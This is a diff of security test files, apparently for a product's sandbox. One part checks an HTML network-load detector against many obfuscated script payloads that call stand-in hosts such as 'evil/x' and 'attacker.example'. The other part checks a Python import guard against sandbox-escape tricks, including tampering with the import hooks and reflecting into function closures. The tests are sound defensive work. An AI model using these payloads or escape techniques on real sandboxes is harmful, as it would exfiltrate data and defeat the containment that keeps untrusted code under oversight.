+    assert rh("<script>window['fetch'.replace('x','x')]('https://x')</script>") is True
+    assert rh("<script>window['fetch'+suffix]('https://x')</script>") is True
+    assert rh("<script>window[key]('https://x')</script>") is True
+    assert rh("<script>window?.['fetch']('https://x')</script>") is True
+    assert rh("<script>this['fetch']('https://x')</script>") is True
+    assert rh("<script>this[`fet`+`ch`]('https://x')</script>") is True
+    assert rh("<script>frames[0]</script>") is False
+    assert rh("<script>frames[0]['fetch']('https://x')</script>") is True
+    assert rh("<script>frames?.[0]?.['fetch']('https://x')</script>") is True
+    assert rh("<script>document.defaultView['fetch']('https://x')</script>") is True
+    assert rh("<script>navigator['serviceWorker'].register('/sw.js')</script>") is True
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src','https://evil/x')</script>"
+        )
+        is True
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute?.('src','https://evil/x')</script>"
+        )
+        is True
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('s'+'rc','https://evil/x')</script>"
+        )
+        is True
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('srcset','local.png 1x, https://evil/x.png 2x')</script>"
+        )
+        is True
+    )
+    assert (
+        rh(
+            "<script>const a=document.createElement('a');"
+            "a.setAttribute('ping','local https://evil/x')</script>"
+        )
+        is True
+    )
+    assert (
+        rh(
+            "<script>image.setAttributeNS('http://www.w3.org/1999/xlink',"
+            "'href','https://evil/x.png')</script>"
+        )
+        is True
+    )
+    assert (
+        rh(
+            "<script>image.setAttributeNS('http://www.w3.org/1999/xlink',"
+            "'xlink:href','#local-symbol')</script>"
+        )
+        is False
+    )
+    assert rh("<script>const i={};i.setAttribute(name,'https://evil/x')</script>") is True
+    assert rh("<script>const i={};i.src='https://evil/x'</script>") is True
+    assert rh("<script>const i={};i.src='https:\\/\\/evil/x'</script>") is True
+    assert rh("<script>const i={};i.src='\\x68ttps://evil/x'</script>") is True
+    assert rh("<script>const i={};i.src='\\u0068ttps://evil/x'</script>") is True
+    assert rh("<script>const i={};i.src=source</script>") is True
+    assert rh("<script>const i={};i.src='./local.png'.replace('local','/api')</script>") is True
+    assert rh("<script>const i={};i.srcset='local.png 1x, https://evil/x 2x'</script>") is True
+    assert rh("<script>document.body.innerHTML='<img src=https://evil/x>'</script>") is True
+    assert rh("<script>document.body.innerHTML += '<img src=https://evil/x>'</script>") is True
+    assert rh("<script>document.body.innerHTML += '<p>Local</p>'</script>") is False
+    assert rh("<script>document.body.innerHTML ||= '<img src=https://evil/x>'</script>") is True
+    assert rh("<script>document.body.innerHTML='<p>Local</p>'</script>") is False
+    assert rh("<script>document.body.innerHTML=markup</script>") is True
+    assert rh("<script>frame.srcdoc='<img src=https://evil/x>'</script>") is True
+    assert rh("<script>frame.srcdoc='<h1>Local</h1>'</script>") is False
+    assert rh("<script>frame.srcdoc=markup</script>") is True
+    assert rh("<script>frame.setAttribute('srcdoc','<img src=https://evil/x>')</script>") is True
+    assert rh("<script>frame.setAttribute('srcdoc','<h1>Local</h1>')</script>") is False
+    assert rh("<script>img['src']='https://evil/x'</script>") is True
+    assert rh("<script>frame['srcdoc']='<img src=https://evil/x>'</script>") is True
+    assert rh("<script>document.body['inner'+'HTML']='<img src=https://evil/x>'</script>") is True
+    assert rh("<script>img['setAttribute']('src','https://evil/x')</script>") is True
+    assert (
+        rh("<script>node['insertAdjacentHTML']('beforeend','<img src=https://evil/x>')</script>")
+        is True
+    )
+    assert rh("<script>Reflect.set(img,'src','https://evil/x')</script>") is True
+    assert rh("<script>Object.assign(img,{src:'https://evil/x'})</script>") is True
+    assert rh("<script>Object.assign(frame,{'srcdoc':'<img src=https://evil/x>'})</script>") is True
+    assert rh("<script>Object.assign(new Image(), {['src']: 'https://evil/x'})</script>") is True
+    assert rh("<script>Object.assign(new Image(), {['src']: './local.png'})</script>") is False
+    assert rh("<script>Object.assign(new Image(), {[key]: 'https://evil/x'})</script>") is True
+    assert (
+        rh(
+            "<script>const key='title'; Object.assign(new Image(), {[key]: 'https://evil/x'})</script>"
+        )
+        is False
+    )
+    assert rh("<script>img['src']='./local.png'</script>") is False
+    assert rh("<script>img['setAttribute']('src','./local.png')</script>") is False
+    assert rh("<script>img.setAttribute.call(img, 'src', 'https://evil/x')</script>") is True
+    assert rh("<script>img.setAttribute.call(img, 'src', './local.png')</script>") is False
+    assert rh("<script>img.setAttribute.apply(img, ['src', 'https://evil/x'])</script>") is True
+    assert rh("<script>img.setAttribute.apply(img, ['src', './local.png'])</script>") is False
+    assert rh("<script>img.setAttribute.call(img, 'class', 'https://evil/x')</script>") is False
+    assert rh("<script>Reflect.set(obj,'title','https://evil/x')</script>") is False
+    assert (
+        rh("<script>Object.assign(obj,{src:'./local.png',title:'https://evil/x'})</script>")
+        is False
+    )
+    assert rh("<script>node.outerHTML='<script>fetch(1)<\\/script>'</script>") is True
+    assert rh("<script>node.insertAdjacentHTML('beforeend','<img src=/api/x>')</script>") is True
+    assert rh("<script>document.write('<img sr','c=https://evil/x>')</script>") is True
+    assert rh("<script>document.write`<img src=https://evil/x>`</script>") is True
+    assert rh("<script>document.write`<p>Local</p>`</script>") is False
+    assert rh("<script>document.write.call(document, '<img src=https://evil/x>')</script>") is True
+    assert rh("<script>document.write.call(document, '<p>Local</p>')</script>") is False
+    assert (
+        rh(
+            "<script>node.insertAdjacentHTML.apply(node, ['beforeend', '<img src=https://evil/x>'])</script>"
+        )
+        is True
+    )
+    assert (
+        rh("<script>node.insertAdjacentHTML.apply(node, ['beforeend', '<p>Local</p>'])</script>")
+        is False
+    )
+    assert (
+        rh(
+            "<script>document.createRange().createContextualFragment.call("
+            "document.createRange(), '<img src=https://evil/x>')</script>"
+        )
+        is True
+    )
+    assert rh("<script>document.writeln('<p>Local</p>')</script>") is False
+    assert rh("<script>writer.write('<img src=https://evil/x>')</script>") is False
+    # Optional-chained computed document.write still recurses into the markup.
+    assert rh("<script>document?.['write']('<img src=https://evil/x>')</script>") is True
+    assert rh("<script>document?.['write']('<p>Local</p>')</script>") is False
+    # document.open() returns the document, so a write through it is an HTML sink.
+    assert rh("<script>document.open().write('<img src=https://evil/x>')</script>") is True
+    assert (
+        rh("<script>document.open('text/html').writeln('<img src=https://evil/x>')</script>")
+        is True
+    )
+    assert rh("<script>document.open().write('<p>Local</p>')</script>") is False
+    assert (
+        rh(
+            "<script>document.createRange().createContextualFragment("
+            "'<img src=https://evil/x>')</script>"
+        )
+        is True
+    )
+    assert (
+        rh("<script>document.createRange().createContextualFragment('<p>Local</p>')</script>")
+        is False
+    )
+    assert rh("<script>[img.src] = ['https://evil/x']</script>") is True
+    assert rh("<script>[img.src] = ['./local.png']</script>") is False
+    assert rh("<script>({src: img.src} = {src:'https://evil/x'})</script>") is True
+    assert rh("<script>({src: img.src} = {src:'./local.png'})</script>") is False
+    assert rh("<script>const k='src'; img[k]='https://evil/x'</script>") is True
+    assert rh("<script>const k='src'; img[k]='./local.png'</script>") is False
+    assert rh("<script>const k='title'; img[k]='https://evil/x'</script>") is False
+    assert rh("<script>img[k]='https://evil/x'</script>") is True
+    # A dotted computed key carrying a static network URL fails closed; a
+    # dotted key assigning a non-network value stays a static canvas.
+    assert rh("<script>const o={k:'src'}; img[o.k]='https://evil/x'</script>") is True
+    assert rh("<script>const o={k:'color'}; el[o.k]='red'</script>") is False
+    # ES module loads of a remote/root URL need approval; a relative specifier
+    # (dynamic or static) stays a static canvas.
+    assert rh("<script>import('https://evil/x.js')</script>") is True
+    assert rh("<script type=module>import 'https://evil/x.js'</script>") is True
+    assert rh("<script type=module>import { a } from '/mod.js'</script>") is True
+    assert rh("<script>import('./local.js')</script>") is False
+    assert rh("<script type=module>import { a } from './util.js'</script>") is False
+    # An entity-obfuscated CSS URL is a network load after the browser decodes it.
+    assert rh('<div style="background:url(&#104;ttps://evil/x)"></div>') is True
+    assert rh('<div style="background:blue">&amp; local</div>') is False
+    # Module re-exports of a remote/root URL fetch that module; relative stays static.
+    assert rh("<script type=module>export * from 'https://evil/x.js'</script>") is True
+    assert rh("<script type=module>export {a} from '/mod.js'</script>") is True
+    assert rh("<script type=module>export {a} from './util.js'</script>") is False
+    assert rh("<script>export const config = 1;</script>") is False
+    # A reassigned computed-key alias is position-dependent, so it fails closed on
+    # a network value but a same-valued redefinition stays resolvable/static.
+    assert rh("<script>var k='src'; img[k]='https://evil/x'; var k='title';</script>") is True
+    assert rh("<script>var k='src'; var k='src'; img[k]='./local.png'</script>") is False
+    assert (
+        rh(
+            "<script>frame.setAttribute(name, "
+            "'data:text/html;base64,PGltZyBzcmM9aHR0cHM6Ly9ldmlsL3g+')</script>"
+        )
+        is True
+    )
+    assert (
+        rh("<script>frame.setAttribute(name, 'data:image/png;base64,iVBORw0KGgo=')</script>")
+        is False
+    )
+    assert (
+        rh(
+            "<script>const name='src'; frame.setAttribute(name, "
+            "'data:text/html;base64,PGltZyBzcmM9aHR0cHM6Ly9ldmlsL3g+')</script>"
+        )
+        is True
+    )
+    assert rh("<script>with(new Image()){src='https://evil/x'}</script>") is True
+    assert rh("<script>with(new Image()){src='./local.png'}</script>") is False
+    assert rh("<script>with(obj){let src='https://evil/x'}</script>") is False
+    assert rh("<script>with(new Image()) src='https://evil/x'</script>") is True
+    assert rh("<script>with(new Image()) src='./local.png'</script>") is False
+    assert rh("<script>with(obj) let src='https://evil/x'</script>") is False
     # A computed bracket key spliced from string fragments on a global host object.
     assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
     assert rh("<script>self['open' + '']('https://x')</script>") is True
     # A computed key on a plain object (not a global host) stays a static canvas.
     assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
+    assert rh("<script>var o={}; o['fetch']=1</script>") is False
+    assert rh("<script>window['isFetching']=false</script>") is False
+    assert rh("<script>window['openState']=false</script>") is False
+    # Local and fragment setAttribute values do not leave the canvas.
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src','./local.png')</script>"
+        )
+        is False
+    )
+    assert rh('<iframe src="data:text/html,<img src=https://evil/x>"></iframe>') is True
+    assert (
+        rh('<iframe src="data:text/html,%3Cimg%20src%3Dhttps%3A%2F%2Fevil%2Fx%3E"></iframe>')
+        is True
+    )
+    assert (
+        rh('<iframe src="data:text/html;base64,PGltZyBzcmM9aHR0cHM6Ly9ldmlsL3g+"></iframe>') is True
+    )
+    assert rh('<iframe src="data:text/html,<h1>Local</h1>"></iframe>') is False
+    assert rh('<iframe src="data:text/plain,<img src=https://evil/x>"></iframe>') is False
+    assert rh('<img src="data:image/png;base64,iVBORw0KGgo=">') is False
+    assert rh('<object data="data:image/svg+xml,<image href=https://evil/x>"></object>') is True
+    assert rh('<iframe src="data:text/html;base64,not-valid-***"></iframe>') is True
+    # A declared charset is honoured so a UTF-16 document is decoded like the
+    # browser would; an unknown charset fails closed instead of hiding the load.
+    assert (
+        rh(
+            '<iframe src="data:text/html;charset=utf-16le;base64,'
+            'PABpAG0AZwAgAHMAcgBjAD0AaAB0AHQAcABzADoALwAvAGUAdgBpAGwALwB4AD4A"></iframe>'
+        )
+        is True
+    )
+    assert (
+        rh(
+            '<iframe src="data:text/html;charset=utf-16le;base64,'
+            'PABoADEAPgBMAG8AYwBhAGwAPAAvAGgAMQA+AA=="></iframe>'
+        )
+        is False
+    )
+    assert (
+        rh('<iframe src="data:text/html;charset=nonesuch,%3Cimg%3E"></iframe>') is True
+    )  # unknown charset fails closed
+    assert rh("<script>frame.src='data:text/html,<img src=https://evil/x>'</script>") is True
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute?.('src','./local.png')</script>"
+        )
+        is False
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('s'+'rc','./local.png')</script>"
+        )
+        is False
+    )
+    assert rh("<script>const i={};i.setAttribute(name,'./local.png')</script>") is False
+    assert rh("<script>const i={};i.setAttribute('class','https://evil/x')</script>") is False
+    assert rh("<script>const i={};i.setAttribute('disabled')</script>") is False
+    assert rh("<script>const i={};i.src='./local.png'</script>") is False
+    assert (
+        rh("<script>const a=document.createElement('a');a.setAttribute('href','#section')</script>")
+        is False
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src',`data:image/png;base64,AA==`)</script>"
+        )
+        is False
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src','/' + 'api/image')</script>"
+        )
+        is True
+    )
+    assert (
+        rh("<script>const i=document.createElement('img');i.setAttribute('src',source)</script>")
+        is True
+    )
     assert rh("<script>/* just a note */ var x = 1</script>") is False  # comment only
     # A meta-refresh with a url navigates the frame to an external origin.
     assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True

studio/backend/tests/test_sandbox_tools.py

@@ -4,6 +4,7 @@
 """Tests for the sandboxed-Python AST policy in core/inference/tools.py."""
 
 import os
+import subprocess
 import sys
 from pathlib import Path
 
@@ -121,6 +122,63 @@ class TestUntrustedHostBlock:
         _ok('import requests; url = "https://example.com/"; requests.get(url)')
 
 
+class TestLowLevelNetworkModules:
+    @pytest.mark.parametrize(
+        "code",
+        [
+            'import httpcore; httpcore.request("GET", "https://example.com")',
+            'import boto3; boto3.client("s3").list_buckets()',
+            "from botocore.session import get_session; get_session()",
+            "m = __import__('boto3'); print(m.__name__)",
+            ("import importlib as il; m = il.import_module('http' + 'core'); print(m.__name__)"),
+            (
+                "from importlib import import_module as load; "
+                "name = 'botocore.session'; print(load(name).__name__)"
+            ),
+            (
+                "from builtins import __import__ as load; "
+                "loader = load; print(loader('boto3').__name__)"
+            ),
+            (
+                "import importlib; "
+                "load = getattr(importlib, 'import_' + 'module'); "
+                "print(load('boto3').__name__)"
+            ),
+            ("import importlib; print(getattr(importlib, 'import_module')(name='boto3').__name__)"),
+            ("import importlib; print(importlib.import_module(name='botocore.session').__name__)"),
+            ("import importlib; print(vars(importlib)['import_module']('httpcore').__name__)"),
+            ("import importlib; print(importlib.__dict__['import_module']('boto3').__name__)"),
+            ("import builtins; print(getattr(builtins, '__import__')('botocore').__name__)"),
+            (
+                "import importlib.machinery, importlib.util\n"
+                "spec = importlib.util.find_spec('httpcore')\n"
+                "loader = importlib.machinery.SourceFileLoader('httpcore', spec.origin)\n"
+                "loader.load_module()"
+            ),
+        ],
+    )
+    def test_low_level_client_blocked(self, code):
+        _blocked(code, expect_phrase = "Blocked: low-level network module")
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            "m = __import__('statistics'); print(m.mean([1, 2]))",
+            ("from importlib import import_module as load; print(load('statistics').mean([1, 2]))"),
+            (
+                "import importlib; "
+                "print(getattr(importlib, 'import_module')(name='statistics').mean([1, 2]))"
+            ),
+            (
+                "import importlib; "
+                "print(vars(importlib)['import_module']('statistics').mean([1, 2]))"
+            ),
+        ],
+    )
+    def test_other_dynamic_imports_stay_available(self, code):
+        _ok(code)
+
+
 class TestHostNormalization:
     def test_trailing_dot_treated_same(self):
         _ok('import requests; requests.get("https://wikipedia.org./")')
@@ -219,7 +277,7 @@ class TestUploadDenylist:
         )
 
     def test_plain_post_json_not_blocked(self):
-        _ok("import requests\n" 'requests.post("https://api.weather.gov/lookup", json={"k": "v"})')
+        _ok('import requests\nrequests.post("https://api.weather.gov/lookup", json={"k": "v"})')
 
 
 class TestSandboxEnvIsolation:
@@ -295,6 +353,7 @@ class TestSandboxEnvIsolation:
             "TERM",
             "PYTHONIOENCODING",
             "PYTHONPATH",
+            "UNSLOTH_STUDIO_SANDBOXED",
             "VIRTUAL_ENV",
             "SystemRoot",
         }
@@ -304,6 +363,414 @@ class TestSandboxEnvIsolation:
         # sitecustomize shim dir (code-interpreter path remap).
         assert env["PYTHONPATH"].endswith("sandbox_site")
         assert "leak-me" not in env["PYTHONPATH"]
+        assert env["UNSLOTH_STUDIO_SANDBOXED"] == "1"
+
+    def test_runtime_import_guard_does_not_apply_to_bypass(self, monkeypatch, tmp_path):
+        from core.inference.tools import _build_bypass_env, _build_safe_env
+
+        monkeypatch.setenv("UNSLOTH_STUDIO_SANDBOXED", "1")
+        (tmp_path / "boto3.py").write_text("VALUE = 7\n", encoding = "utf-8")
+        code = (
+            "import sys\n"
+            "sys.meta_path[:] = [f for f in sys.meta_path "
+            "if not getattr(f, '_unsloth_blocked_network_guard', False)]\n"
+            "name = ''.join(['bo', 'to3'])\n"
+            "print(__import__(name).VALUE)"
+        )
+
+        sandboxed = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert sandboxed.returncode != 0
+        assert "Blocked: low-level network module 'boto3'" in sandboxed.stderr
+
+        bypass = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_bypass_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert bypass.returncode == 0, bypass.stderr
+        assert bypass.stdout.strip() == "7"
+
+    def test_runtime_import_guard_survives_global_tampering(self, monkeypatch, tmp_path):
+        # Sandbox code can restore builtins.__import__, detach the meta-path
+        # finder and rebind this module's globals, but the audit hook (which
+        # cannot be removed) freezes its decision in a closure and still blocks.
+        from core.inference.tools import _build_safe_env
+
+        monkeypatch.setenv("UNSLOTH_STUDIO_SANDBOXED", "1")
+        code = (
+            "import sys, builtins, sitecustomize\n"
+            "sitecustomize._blocked_network_module = lambda _: None\n"
+            "sitecustomize._BLOCKED_NETWORK_MODULES = frozenset()\n"
+            "builtins.__import__ = sitecustomize._original_import\n"
+            "sys.meta_path[:] = [f for f in sys.meta_path "
+            "if not getattr(f, '_unsloth_blocked_network_guard', False)]\n"
+            "name = ''.join(['bo', 'to3'])\n"
+            "print(__import__(name).__name__)\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'boto3'" in result.stderr
+
+    def test_runtime_import_guard_survives_env_flag_reset_for_children(self, tmp_path):
+        # Clearing UNSLOTH_STUDIO_SANDBOXED before spawning a child must not
+        # unguard the child: the child re-imports this shim from the sandbox site
+        # dir still on PYTHONPATH, which is itself the sandbox signal.
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import os, subprocess, sys\n"
+            "os.environ['UNSLOTH_STUDIO_SANDBOXED'] = '0'\n"
+            "r = subprocess.run([sys.executable, '-c', 'import boto3'], "
+            "capture_output=True, text=True)\n"
+            "sys.stdout.write('RC=%d\\n' % r.returncode)\n"
+            "sys.stdout.write('BLOCKED=%d\\n' % "
+            "(\"low-level network module 'boto3'\" in r.stderr))\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode == 0, result.stderr
+        assert "RC=1" in result.stdout
+        assert "BLOCKED=1" in result.stdout
+
+    def test_runtime_import_guard_survives_env_flag_deletion_for_children(self, tmp_path):
+        # Deleting UNSLOTH_STUDIO_SANDBOXED (not just setting it to "0") before
+        # spawning a child must not unguard it: the child still re-imports this
+        # shim from the sandbox site dir on PYTHONPATH, which is the real signal.
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import os, subprocess, sys\n"
+            "os.environ.pop('UNSLOTH_STUDIO_SANDBOXED', None)\n"
+            "r = subprocess.run([sys.executable, '-c', 'import boto3'], "
+            "capture_output=True, text=True)\n"
+            "sys.stdout.write('RC=%d\\n' % r.returncode)\n"
+            "sys.stdout.write('BLOCKED=%d\\n' % "
+            "(\"low-level network module 'boto3'\" in r.stderr))\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode == 0, result.stderr
+        assert "RC=1" in result.stdout
+        assert "BLOCKED=1" in result.stdout
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            "name = ''.join(['http', 'core']); print(__import__(name).__name__)",
+            (
+                "import importlib; name = ''.join(['http', 'core']); "
+                "print(importlib.import_module(name).__name__)"
+            ),
+            ("import httpx; name = ''.join(['http', 'core']); print(__import__(name).__name__)"),
+            (
+                "import httpx, importlib; suffix = ''.join(['_', 'api']); "
+                "print(importlib.import_module('.' + suffix, package='httpcore')"
+                ".__name__.split('.')[0])"
+            ),
+        ],
+    )
+    def test_runtime_import_guard_blocks_direct_dynamic_httpcore(self, tmp_path, code):
+        from core.inference.tools import _build_bypass_env, _build_safe_env
+
+        sandboxed = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert sandboxed.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in sandboxed.stderr
+
+        bypass = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_bypass_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert bypass.returncode == 0, bypass.stderr
+        assert bypass.stdout.strip() == "httpcore"
+
+    def test_runtime_import_guard_rejects_spoofed_httpx_globals(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import httpx\n"
+            "__name__ = 'httpx._client'\n"
+            "__file__ = httpx.__file__\n"
+            "name = ''.join(['http', 'core'])\n"
+            "module = __import__(name)\n"
+            "print(module.__name__)\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    def test_runtime_import_guard_blocks_legacy_loader_httpcore(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import importlib.machinery, importlib.util\n"
+            "name = ''.join(['http', 'core'])\n"
+            "spec = importlib.util.find_spec(name)\n"
+            "loader = importlib.machinery.SourceFileLoader(name, spec.origin)\n"
+            "loader.load_module()\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    def test_runtime_import_guard_blocks_aliased_httpcore_origin(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import importlib.machinery, importlib.util, sys\n"
+            "spec = importlib.machinery.PathFinder.find_spec('httpcore')\n"
+            "alias = importlib.util.spec_from_file_location(\n"
+            "    'hc', spec.origin,\n"
+            "    submodule_search_locations=list(spec.submodule_search_locations or []),\n"
+            ")\n"
+            "module = importlib.util.module_from_spec(alias)\n"
+            "sys.modules['hc'] = module\n"
+            "alias.loader.exec_module(module)\n"
+            "module.request('GET', 'http://127.0.0.1:9')\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    def test_runtime_import_guard_blocks_httpcore_backend_reflection(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import sys, types\n"
+            "import httpx\n"
+            "client = httpx.Client()\n"
+            "client.close()\n"
+            "module = sys.modules['httpcore._backends.sync']\n"
+            "module_dict = types.ModuleType.__getattribute__(module, '__dict__')\n"
+            "backend_type = module_dict['SyncBackend']\n"
+            "guarded = type.__getattribute__(backend_type, '__dict__')['connect_tcp']\n"
+            "dispatch = key = None\n"
+            "for cell in guarded.__closure__ or ():\n"
+            "    value = cell.cell_contents\n"
+            "    if callable(value) and getattr(value, '__name__', '') == 'dispatch':\n"
+            "        dispatch = value\n"
+            "    elif type(value) is object:\n"
+            "        key = value\n"
+            "originals = None\n"
+            "for cell in dispatch.__closure__ or ():\n"
+            "    value = cell.cell_contents\n"
+            "    if type(value) is dict:\n"
+            "        originals = value\n"
+            "original = originals[key]\n"
+            "original(\n"
+            "    backend_type(), '127.0.0.1', 9,\n"
+            "    timeout=0.01, local_address=None, socket_options=None,\n"
+            ")\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    def test_runtime_import_guard_allows_httpx_backend_connect(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        code = (
+            "import httpx\n"
+            "try:\n"
+            "    httpx.get('http://127.0.0.1:9/probe', timeout=0.01)\n"
+            "except Exception as exc:\n"
+            "    print(type(exc).__name__)\n"
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode == 0, result.stderr
+        assert "Blocked: low-level network module" not in result.stderr
+
+    def test_runtime_import_guard_blocks_local_module_httpcore_import(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        (tmp_path / "loader.py").write_text(
+            "name = ''.join(['http', 'core'])\nprint(__import__(name).__name__)\n",
+            encoding = "utf-8",
+        )
+        result = subprocess.run(
+            [sys.executable, "-c", "import loader"],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    @pytest.mark.parametrize("module_name", ["loader", "httpx"])
+    def test_runtime_import_guard_blocks_external_module_httpcore_import(
+        self, tmp_path, module_name
+    ):
+        from core.inference.tools import _build_safe_env
+
+        workdir = tmp_path / "sandbox"
+        external = tmp_path / "external"
+        workdir.mkdir()
+        external.mkdir()
+        (external / f"{module_name}.py").write_text(
+            "name = ''.join(['http', 'core'])\nprint(__import__(name).__name__)\n",
+            encoding = "utf-8",
+        )
+        code = f"import sys; sys.path.insert(0, {str(external)!r}); import {module_name}"
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = workdir,
+            env = _build_safe_env(str(workdir)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            (
+                "import httpx, sys; client = httpx.Client(); client.close(); "
+                "print(sys.modules['httpcore'].request)"
+            ),
+            (
+                "import httpx, sys; client = httpx.Client(); client.close(); "
+                "print(sys.modules['httpcore._sync.connection_pool'].ConnectionPool)"
+            ),
+            (
+                "import httpx, sys, types; client = httpx.Client(); client.close(); "
+                "module = sys.modules['httpcore']; "
+                "request = types.ModuleType.__getattribute__(module, 'request'); "
+                "request('GET', 'http://127.0.0.1:9/probe')"
+            ),
+            (
+                "import asyncio, httpx, sys, types\n"
+                "async def main():\n"
+                "    async with httpx.AsyncClient():\n"
+                "        pass\n"
+                "    module = sys.modules['httpcore']\n"
+                "    pool_type = types.ModuleType.__getattribute__(module, 'AsyncConnectionPool')\n"
+                "    async with pool_type() as pool:\n"
+                "        await pool.request('GET', 'http://127.0.0.1:9/probe')\n"
+                "asyncio.run(main())"
+            ),
+        ],
+    )
+    def test_runtime_import_guard_blocks_cached_httpcore_access(self, tmp_path, code):
+        from core.inference.tools import _build_safe_env
+
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode != 0
+        assert "Blocked: low-level network module 'httpcore'" in result.stderr
+
+    @pytest.mark.parametrize("module", ["httpx", "requests", "huggingface_hub"])
+    def test_runtime_import_guard_keeps_supported_clients_available(self, tmp_path, module):
+        from core.inference.tools import _build_safe_env
+
+        result = subprocess.run(
+            [sys.executable, "-c", f"import {module}; print({module}.__name__)"],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode == 0, result.stderr
+        assert result.stdout.strip() == module
+
+    def test_runtime_import_guard_keeps_httpx_transport_available(self, tmp_path):
+        from core.inference.tools import _build_safe_env
+
+        code = "import httpx; client = httpx.Client(); print(type(client).__name__); client.close()"
+        result = subprocess.run(
+            [sys.executable, "-c", code],
+            cwd = tmp_path,
+            env = _build_safe_env(str(tmp_path)),
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        assert result.returncode == 0, result.stderr
+        assert result.stdout.strip() == "Client"
 
     def test_home_points_at_sandbox_workdir(self, tmp_path):
         from core.inference.tools import _build_safe_env
@@ -321,20 +788,19 @@ class TestSandboxEnvIsolation:
         assert env["TERM"] == "dumb"
 
     def test_bypass_env_installs_sitecustomize_path_shim(self, tmp_path):
-        # Bypass mode must install the same /mnt/data path-remap shim as the safe
-        # env (finding 17), else /mnt/data writes work only in normal mode.
-        from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env
+        # Bypass mode keeps path remapping without installing network guards.
+        from core.inference.tools import _BYPASS_SITE_DIR, _build_bypass_env
         env = _build_bypass_env(str(tmp_path))
-        assert _SANDBOX_SITE_DIR in env["PYTHONPATH"].split(os.pathsep)
